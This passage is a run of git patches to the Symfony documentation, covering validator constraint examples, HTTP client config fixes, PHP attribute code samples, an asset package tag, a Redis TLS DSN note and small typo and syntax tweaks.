@@ -36,7 +36,7 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
         class Author
         {
             /**
-             * @Assert\Type("Ramsey\Uuid\UuidInterface")
+             * @Assert\Type("Symfony\Component\Uid\Uid")
              */
             protected $id;
 

From e229b93002bab30207ccba82c36091d7c65b7367 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Feb 2021 17:29:09 +0100
Subject: [PATCH 1877/7107] Reworded the example

---
 reference/constraints/Type.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index aa48a17ca6d..103ea9fd43c 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -18,7 +18,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 Basic Usage
 -----------
 
-This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
+This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``,
 ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function),
 ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and
 ``accessCode`` contains either only letters or only digits (using
@@ -36,9 +36,9 @@ This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
         class Author
         {
             /**
-             * @Assert\Type("Symfony\Component\Uid\Uid")
+             * @Assert\Type("Symfony\Component\Mime\Address")
              */
-            protected $id;
+            protected $emailAddress;
 
             /**
              * @Assert\Type("string")
@@ -64,8 +64,8 @@ This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
         # config/validator/validation.yaml
         App\Entity\Author:
             properties:
-                id:
-                    - Type: Ramsey\Uuid\UuidInterface
+                emailAddress:
+                    - Type: Symfony\Component\Mime\Address
 
                 firstName:
                     - Type: string
@@ -88,9 +88,9 @@ This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
             <class name="App\Entity\Author">
-                <property name="id">
+                <property name="emailAddress">
                     <constraint name="Type">
-                        <option name="type">Ramsey\Uuid\UuidInterface</option>
+                        <option name="type">Symfony\Component\Mime\Address</option>
                     </constraint>
                 </property>
                 <property name="firstName">
@@ -120,7 +120,7 @@ This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
         // src/Entity/Author.php
         namespace App\Entity;
 
-        use Ramsey\Uuid\UuidInterface;
+        use Symfony\Component\Mime\Address;
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
@@ -128,7 +128,7 @@ This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('id', new Assert\Type(UuidInterface::class));
+                $metadata->addPropertyConstraint('emailAddress', new Assert\Type(Address::class));
 
                 $metadata->addPropertyConstraint('firstName', new Assert\Type('string'));
 

From fd8791b7b1e379118b5c7920dfbfa8ca7fb6dba2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Feb 2021 17:31:22 +0100
Subject: [PATCH 1878/7107] Updated the example of PHP attributes

---
 reference/constraints/Type.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index c557c26fe7c..ab56be81276 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -64,13 +64,13 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
         // src/Entity/Author.php
         namespace App\Entity;
 
-        use Ramsey\Uuid\UuidInterface;
+        use Symfony\Component\Mime\Address;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author
         {
-            #[Assert\Type(UuidInterface::class)]
-            protected $id;
+            #[Assert\Type(Address::class)]
+            protected $emailAddress;
 
             #[Assert\Type('string')]
             protected $firstName;

From 9a8101f544cfc4e361f5d8bf0aa8a2ef188e3ee3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Feb 2021 17:38:28 +0100
Subject: [PATCH 1879/7107] Tweaks

---
 http_client.rst | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index d541c5933b4..185e4a972cd 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -120,7 +120,7 @@ You can configure the global options using the ``default_options`` option:
             <framework:config>
                 <framework:http-client>
                     <framework:default-options max-redirects="7"/>
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
@@ -179,7 +179,7 @@ The HTTP client also has one configuration option called
             <framework:config>
                 <framework:http-client max-host-connections="10">
                     <!-- ... -->
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
@@ -502,8 +502,7 @@ associative array via the ``query`` option, that will be merged with the URL::
 Headers
 ~~~~~~~
 
-Use the ``headers`` option to define both the default headers added to all
-requests and the specific headers for each request:
+Use the ``headers`` option to define the default headers added to all requests:
 
 .. configuration-block::
 
@@ -511,8 +510,8 @@ requests and the specific headers for each request:
 
         # config/packages/framework.yaml
         framework:
-            default_options:
-                http_client:
+            http_client:
+                default_options:
                     headers:
                         'User-Agent': 'My Fancy App'
 
@@ -532,7 +531,7 @@ requests and the specific headers for each request:
                     <framework:default-options>
                         <framework:header name="User-Agent">My Fancy App</framework:header>
                     </framework:default-options>
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
@@ -558,6 +557,8 @@ requests and the specific headers for each request:
             ],
         ]);
 
+You can also set new headers or override the default ones for specific requests:
+
 .. code-block:: php
 
     // this header is only included in this request and overrides the value
@@ -772,7 +773,7 @@ the ``http_version`` option:
             <framework:config>
                 <framework:http-client>
                     <framework:default-options http-version="2.0"/>
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 

From f4dbec46fff2b37f062d0221bf05efd36e20b015 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20TAMARELLE?= <jerome@tamarelle.net>
Date: Thu, 1 Oct 2020 01:28:00 +0200
Subject: [PATCH 1880/7107] [Framework] Add tag assets.package

---
 reference/dic_tags.rst | 52 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 52 insertions(+)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 0aca3c91777..2e4c7e5b339 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -12,6 +12,7 @@ application there could be more tags available provided by third-party bundles:
 Tag Name                                  Usage
 ========================================  ========================================================================
 `auto_alias`_                             Define aliases based on the value of container parameters
+`assets.package`_                         Add an asset package
 `console.command`_                        Add a command
 `container.hot_path`_                     Add to list of always needed services
 `container.no_preload`_                   Remove a class from the list of classes preloaded by PHP
@@ -50,6 +51,57 @@ Tag Name                                  Usage
 `validator.initializer`_                  Register a service that initializes objects before validation
 ========================================  ========================================================================
 
+assets.package
+--------------
+
+**Purpose**: Add an asset package to the application
+
+This is an alternative way to declare a package in :doc:`/components/asset`.
+
+The name of the package is set in this order:
+* first, the `package` attribute of the tag
+* then, the value returned by the static method `getDefaultPackageName()` if defined
+* finally, the service name
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        services:
+            App\Assets\AvatarPackage:
+                tags:
+                    - { name: assets.package, package: avatars }
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Assets\AvatarPackage">
+                    <tag name="assets.package" package="avatars"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        use App\Assets\AvatarPackage;
+
+        $container
+            ->register(AvatarPackage::class)
+            ->addTag('assets.package', ['package' => 'avatars'])
+        ;
+
+Now you can use the ``avatars`` package in your templates:
+
+.. code-block:: html+twig
+
+    <img src="{{ asset('...', 'avatars') }}">
+
 auto_alias
 ----------
 

From 3799eb4872da9f0730fc827386558bce3178d0ab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Feb 2021 17:44:53 +0100
Subject: [PATCH 1881/7107] Tweaks

---
 components/asset.rst   |  2 ++
 reference/dic_tags.rst | 12 ++++++++----
 2 files changed, 10 insertions(+), 4 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 48e51754449..5044ef2dab9 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -51,6 +51,8 @@ Installation
 Usage
 -----
 
+.. _asset-packages:
+
 Asset Packages
 ~~~~~~~~~~~~~~
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 2e4c7e5b339..81a9cc93704 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -56,12 +56,16 @@ assets.package
 
 **Purpose**: Add an asset package to the application
 
-This is an alternative way to declare a package in :doc:`/components/asset`.
+.. versionadded:: 5.3
 
+    The ``assets.package`` tag was introduced in Symfony 5.3.
+
+This is an alternative way to declare an :ref:`asset package <asset-packages>`.
 The name of the package is set in this order:
-* first, the `package` attribute of the tag
-* then, the value returned by the static method `getDefaultPackageName()` if defined
-* finally, the service name
+
+* first, the ``package`` attribute of the tag;
+* then, the value returned by the static method ``getDefaultPackageName()`` if defined;
+* finally, the service name.
 
 .. configuration-block::
 

From 5c4e78061ff2ead019005ee6b56d31b7e35f3d7f Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Fri, 19 Feb 2021 18:42:57 +0100
Subject: [PATCH 1882/7107] Fix invalid file

---
 http_client.rst | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 185e4a972cd..f80b2bc96ba 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -559,15 +559,18 @@ Use the ``headers`` option to define the default headers added to all requests:
 
 You can also set new headers or override the default ones for specific requests:
 
-.. code-block:: php
 
-    // this header is only included in this request and overrides the value
-    // of the same header if defined globally by the HTTP client
-    $response = $client->request('POST', 'https://...', [
-        'headers' => [
-            'Content-Type' => 'text/plain',
-        ],
-    ]);
+.. configuration-block::
+
+    .. code-block:: php
+
+        // this header is only included in this request and overrides the value
+        // of the same header if defined globally by the HTTP client
+        $response = $client->request('POST', 'https://...', [
+            'headers' => [
+                'Content-Type' => 'text/plain',
+            ],
+        ]);
 
 Uploading Data
 ~~~~~~~~~~~~~~

From 4e212eedd0617acf4b16d66bb9e0189aff1bbc40 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Feb 2021 19:27:06 +0100
Subject: [PATCH 1883/7107] Tweak

---
 http_client.rst | 21 ++++++++-------------
 1 file changed, 8 insertions(+), 13 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f80b2bc96ba..37be3137771 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -557,20 +557,15 @@ Use the ``headers`` option to define the default headers added to all requests:
             ],
         ]);
 
-You can also set new headers or override the default ones for specific requests:
+You can also set new headers or override the default ones for specific requests::
 
-
-.. configuration-block::
-
-    .. code-block:: php
-
-        // this header is only included in this request and overrides the value
-        // of the same header if defined globally by the HTTP client
-        $response = $client->request('POST', 'https://...', [
-            'headers' => [
-                'Content-Type' => 'text/plain',
-            ],
-        ]);
+    // this header is only included in this request and overrides the value
+    // of the same header if defined globally by the HTTP client
+    $response = $client->request('POST', 'https://...', [
+        'headers' => [
+            'Content-Type' => 'text/plain',
+        ],
+    ]);
 
 Uploading Data
 ~~~~~~~~~~~~~~

From 6280192b77dab7650921154c3d583d68b8a68fab Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Thu, 18 Feb 2021 21:17:26 +0100
Subject: [PATCH 1884/7107] [Form] Add PHP Attributes example to forms

---
 forms.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/forms.rst b/forms.rst
index 42bdedc9658..e80ad65da71 100644
--- a/forms.rst
+++ b/forms.rst
@@ -507,6 +507,23 @@ object.
             protected $dueDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Task.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Task
+        {
+            #[Assert\NotBlank]
+            public $task;
+
+            #[Assert\NotBlank]
+            #[Assert\Type(\DateTime::class)]
+            protected $dueDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From 2abb9aac37ef9db5ed95bfb112bbcfa960ac95ef Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 20 Feb 2021 18:02:11 +0100
Subject: [PATCH 1885/7107] [Security] Add PHP Attribute example to controller

---
 security.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/security.rst b/security.rst
index 3b9341a07d6..18d0344f42e 100644
--- a/security.rst
+++ b/security.rst
@@ -1089,6 +1089,24 @@ Next, you'll need to create a route for this URL (but not a controller):
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
+            public function logout()
+            {
+                // controller can be blank: it will never be executed!
+                throw new \Exception('Don\'t forget to activate logout in security.yaml');
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml

From 832436bfc788fbb809a3d6c669dbbd9eec94a4ba Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 20 Feb 2021 18:41:02 +0100
Subject: [PATCH 1886/7107] [Routing] Add PHP Attribute route example to the
 controller

---
 controller/service.rst | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/controller/service.rst b/controller/service.rst
index f8048e09def..2c592518608 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -41,6 +41,22 @@ a service like: ``App\Controller\HelloController::index``:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/HelloController.php
+        namespace App\Controller;
+
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class HelloController
+        {
+            #[Route('/hello', name: 'hello', methods: ['GET'])]
+            public function index()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -105,6 +121,23 @@ which is a common practice when following the `ADR pattern`_
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/Hello.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        #[Route('/hello/{name}', name: 'hello')]
+        class Hello
+        {
+            public function __invoke($name = 'World')
+            {
+                return new Response(sprintf('Hello %s!', $name));
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml

From fd02abef74ebdcbc2a94f6212dda8e9908ad554c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 21 Feb 2021 18:24:01 +0100
Subject: [PATCH 1887/7107] remove unsupported trusted header config values

---
 deployment/proxies.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 9b6821e3f79..5f24a69a418 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -37,9 +37,6 @@ and what headers your reverse proxy uses to send information:
             trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port']
             // or, if your proxy instead uses the "Forwarded" header
             trusted_headers: ['forwarded']
-            // or, if you're using a wellknown proxy
-            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB]
-            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_TRAEFIK]
 
     .. code-block:: xml
 
@@ -80,9 +77,6 @@ and what headers your reverse proxy uses to send information:
             'trusted_headers' => ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port'],
             // or, if your proxy instead uses the "Forwarded" header
             'trusted_headers' => ['forwarded'],
-            // or, if you're using a wellknown proxy
-            'trusted_headers' => [Request::HEADER_X_FORWARDED_AWS_ELB],
-            'trusted_headers' => [Request::HEADER_X_FORWARDED_TRAEFIK],
         ]);
 
 .. deprecated:: 5.2
@@ -135,9 +129,6 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
             // run time by $_SERVER['REMOTE_ADDR'])
             trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
-            // if you're using ELB, otherwise use another Request::HEADER-* constant
-            trusted_headers: [!php/const Symfony\\Component\\HttpFoundation\\Request::HEADER_X_FORWARDED_AWS_ELB, '!x-forwarded-host', '!x-forwarded-prefix']
-
 That's it! It's critical that you prevent traffic from all non-trusted sources.
 If you allow outside traffic, they could "spoof" their true IP address and
 other information.

From a757019a71115250ec82c61aee4f98eab9d134f1 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sun, 21 Feb 2021 20:28:44 +0100
Subject: [PATCH 1888/7107] [Validator] Mention doctrine-bridge in the
 UniqueEntity constraint

---
 reference/constraints/UniqueEntity.rst | 5 +++++
 reference/constraints/UserPassword.rst | 2 +-
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index e6e449d949b..ca0a0be28c6 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -10,6 +10,11 @@ using an email address that already exists in the system.
     If you want to validate that all the elements of the collection are unique
     use the :doc:`Unique constraint </reference/constraints/Unique>`.
 
+.. note::
+
+    In order to use this constraint, you should have installed the
+    symfony/doctrine-bridge with Composer.
+
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
 Options     - `em`_
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 91017168a82..208281df216 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -12,7 +12,7 @@ password, but needs to enter their old password for security.
 
 .. note::
 
-    In order to use this constraints, you should have installed the
+    In order to use this constraint, you should have installed the
     symfony/security-core component with Composer.
 
 ==========  ===================================================================

From f5fb27dac8fb5c3709130ca1f25c4d095553ddb6 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 21 Feb 2021 21:59:37 +0100
Subject: [PATCH 1889/7107] [Twig] Add missing space

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index afd5295a9e3..80e36849cc9 100644
--- a/performance.rst
+++ b/performance.rst
@@ -275,7 +275,7 @@ You can also profile your template code with the :ref:`stopwatch Twig tag <refer
 .. code-block:: twig
 
     {% stopwatch 'render-blog-posts' %}
-        {% for post in blog_posts%}
+        {% for post in blog_posts %}
             {# ... #}
         {% endfor %}
     {% endstopwatch %}

From 8c6912b74aae7e2c0830a34794512040b541d3af Mon Sep 17 00:00:00 2001
From: Erdal G <Erdou@users.noreply.github.com>
Date: Sun, 21 Feb 2021 11:03:54 +0100
Subject: [PATCH 1890/7107] Minor change to use DateTimeImmutable instead of
 DateTime

Using DateTimeImmutable instead of DateTime when no mutation is needed improves performances.
---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index c98be25d736..30b48856c13 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -76,7 +76,7 @@ define a callback for the ``prePersist`` Doctrine event:
              */
             public function setCreatedAtValue(): void
             {
-                $this->createdAt = new \DateTime();
+                $this->createdAt = new \DateTimeImmutable();
             }
         }
 

From 8ddf8ec5b8a3544cb1db3ee0356d863cf5d9f489 Mon Sep 17 00:00:00 2001
From: Pierre Boissinot <pierre.boissinot@lephare.com>
Date: Mon, 22 Feb 2021 12:25:05 +0100
Subject: [PATCH 1891/7107] fix file path in comment following namespace

---
 security/impersonating_user.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 5f44a7fad23..ca4c1e3947f 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -259,7 +259,7 @@ be called):
 Then, create a voter class that responds to this role and includes whatever custom
 logic you want::
 
-    // src/Service/Voter/SwitchToCustomerVoter.php
+    // src/Security/Voter/SwitchToCustomerVoter.php
     namespace App\Security\Voter;
 
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;

From 6f8ff2502089924952031b58307335dc77bda687 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Mon, 22 Feb 2021 20:30:14 +0100
Subject: [PATCH 1892/7107] [Validator] Add PHP Attributes to severity and
 translation examples

---
 validation/severity.rst     | 19 +++++++++++++++++++
 validation/translations.rst | 13 +++++++++++++
 2 files changed, 32 insertions(+)

diff --git a/validation/severity.rst b/validation/severity.rst
index 7a8c22298fd..7df7746c7f2 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -50,6 +50,25 @@ Use the ``payload`` option to configure the error level for each constraint:
             protected $bankAccountNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotBlank(payload: ['severity' => 'error'])]
+            protected $username;
+
+            #[Assert\NotBlank(payload: ['severity' => 'error'])]
+            protected $password;
+
+            #[Assert\Iban(payload: ['severity' => 'warning'])]
+            protected $bankAccountNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/validation/translations.rst b/validation/translations.rst
index 5c22f9362c3..c251c986b3b 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -40,6 +40,19 @@ property is not empty, add the following:
             public $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank(message: 'author.name.not_blank')]
+            public $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From c4a398e55598cef9f2bc4557cfa1e0a12ff98e1d Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Mon, 22 Feb 2021 21:46:34 +0100
Subject: [PATCH 1893/7107] [Validator][Translation] Mention
 symfony/translation

---
 validation/translations.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/validation/translations.rst b/validation/translations.rst
index 5c22f9362c3..3edc15dab5e 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -8,6 +8,11 @@ If you're using validation constraints with the Form component, you can translat
 the error messages by creating a translation resource for the
 ``validators`` :ref:`domain <translation-resource-locations>`.
 
+.. note::
+
+    In order to translate the error message, you should have installed the
+    symfony/translation component with Composer.
+
 To start, suppose you've created a plain-old-PHP object that you need to
 use somewhere in your application::
 
@@ -93,7 +98,7 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
 
     .. code-block:: xml
 
-        <!-- translations/validators.en.xlf -->
+        <!-- translations/validators/validators.en.xlf -->
         <?xml version="1.0"?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
@@ -108,12 +113,12 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
 
     .. code-block:: yaml
 
-        # translations/validators.en.yaml
+        # translations/validators/validators.en.yaml
         author.name.not_blank: Please enter an author name.
 
     .. code-block:: php
 
-        // translations/validators.en.php
+        // translations/validators/validators.en.php
         return [
             'author.name.not_blank' => 'Please enter an author name.',
         ];

From 2d2f3b7cbdbea6b805212c8dc21bdd02966aebcc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl=20Isaert?= <mickael.isaert@gmail.com>
Date: Mon, 21 Dec 2020 19:43:42 +0100
Subject: [PATCH 1894/7107] [Cache] Add TLS scheme for Redis connection

See https://github.com/symfony/symfony/pull/39599
---
 components/cache/adapters/redis_adapter.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 935afcd9f92..f1d00b248c2 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -62,7 +62,8 @@ helper method allows creating and configuring the Redis client class instance us
     );
 
 The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
-password and a database index.
+password and a database index. To enable TLS for connections, the scheme ``redis`` must be
+replaced by ``rediss``.
 
 .. note::
 
@@ -70,7 +71,7 @@ password and a database index.
 
     .. code-block:: text
 
-        redis://[pass@][ip|host|socket[:port]][/db-index]
+        redis[s]://[pass@][ip|host|socket[:port]][/db-index]
 
 Below are common examples of valid DSNs showing a combination of available values::
 

From efd9cd0758127350e7a67c28fc9100e936d68ae4 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Tue, 23 Feb 2021 19:49:10 +0100
Subject: [PATCH 1895/7107] Use null coalescing operator instead of ternary
 operator

---
 components/property_access.rst       | 8 ++------
 create_framework/http_foundation.rst | 4 ++--
 frontend/custom_version_strategy.rst | 2 +-
 3 files changed, 5 insertions(+), 9 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 7b9053b835f..5cd5095908a 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -237,9 +237,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
-                return isset($this->children[$property])
-                    ? $this->children[$property]
-                    : null;
+                return $this->children[$property] ?? null;
             } elseif ('set' === substr($name, 0, 3)) {
                 $value = 1 == count($args) ? $args[0] : null;
                 $this->children[$property] = $value;
@@ -334,9 +332,7 @@ see `Enable other Features`_::
         {
             $property = lcfirst(substr($name, 3));
             if ('get' === substr($name, 0, 3)) {
-                return isset($this->children[$property])
-                    ? $this->children[$property]
-                    : null;
+                return $this->children[$property] ?? null;
             } elseif ('set' === substr($name, 0, 3)) {
                 $value = 1 == count($args) ? $args[0] : null;
                 $this->children[$property] = $value;
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 99dff5c1faf..3c84dd25e57 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -25,7 +25,7 @@ First, if the ``name`` query parameter is not defined in the URL query string,
 you will get a PHP warning; so let's fix it::
 
     // framework/index.php
-    $name = isset($_GET['name']) ? $_GET['name'] : 'World';
+    $name = $_GET['name'] ?? 'World';
 
     printf('Hello %s', $name);
 
@@ -33,7 +33,7 @@ Then, this *application is not secure*. Can you believe it? Even this simple
 snippet of PHP code is vulnerable to one of the most widespread Internet
 security issue, XSS (Cross-Site Scripting). Here is a more secure version::
 
-    $name = isset($_GET['name']) ? $_GET['name'] : 'World';
+    $name = $_GET['name'] ?? 'World';
 
     header('Content-Type: text/html; charset=utf-8');
 
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 6361ba632c0..d6280637b7f 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -83,7 +83,7 @@ version string::
                 $this->hashes = $this->loadManifest();
             }
 
-            return isset($this->hashes[$path]) ? $this->hashes[$path] : '';
+            return $this->hashes[$path] ?? '';
         }
 
         public function applyVersion($path)

From dde96698a2fc6307c6eb02557476d3d8713049ba Mon Sep 17 00:00:00 2001
From: Kolja Zuelsdorf <koljaz@web.de>
Date: Tue, 23 Feb 2021 21:59:11 +0100
Subject: [PATCH 1896/7107] Fixed small typo

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 8fd666c8f96..8cc56e61b20 100644
--- a/testing.rst
+++ b/testing.rst
@@ -607,7 +607,7 @@ submitting a login form - make a test very slow. For this reason, Symfony
 provides a ``loginUser()`` method to simulate logging in in your functional
 tests.
 
-Instead of login in with real users, it's recommended to create a user only for
+Instead of logging in with real users, it's recommended to create a user only for
 tests. You can do that with Doctrine :ref:`data fixtures <user-data-fixture>`,
 to load the testing users only in the test database.
 

From c335d0e232a55b90911bd2db818de05b9261a00e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Feb 2021 09:21:01 +0100
Subject: [PATCH 1897/7107] [Internal] Set the specific version of the
 doc-builder

---
 _build/composer.json |   6 +-
 _build/composer.lock | 267 ++++++++++++++++++-------------------------
 2 files changed, 117 insertions(+), 156 deletions(-)

diff --git a/_build/composer.json b/_build/composer.json
index ea0ef4eee25..45f492f2f06 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -15,8 +15,8 @@
     },
     "require": {
         "php": ">=7.2.9",
-        "symfony/console": "^4.1",
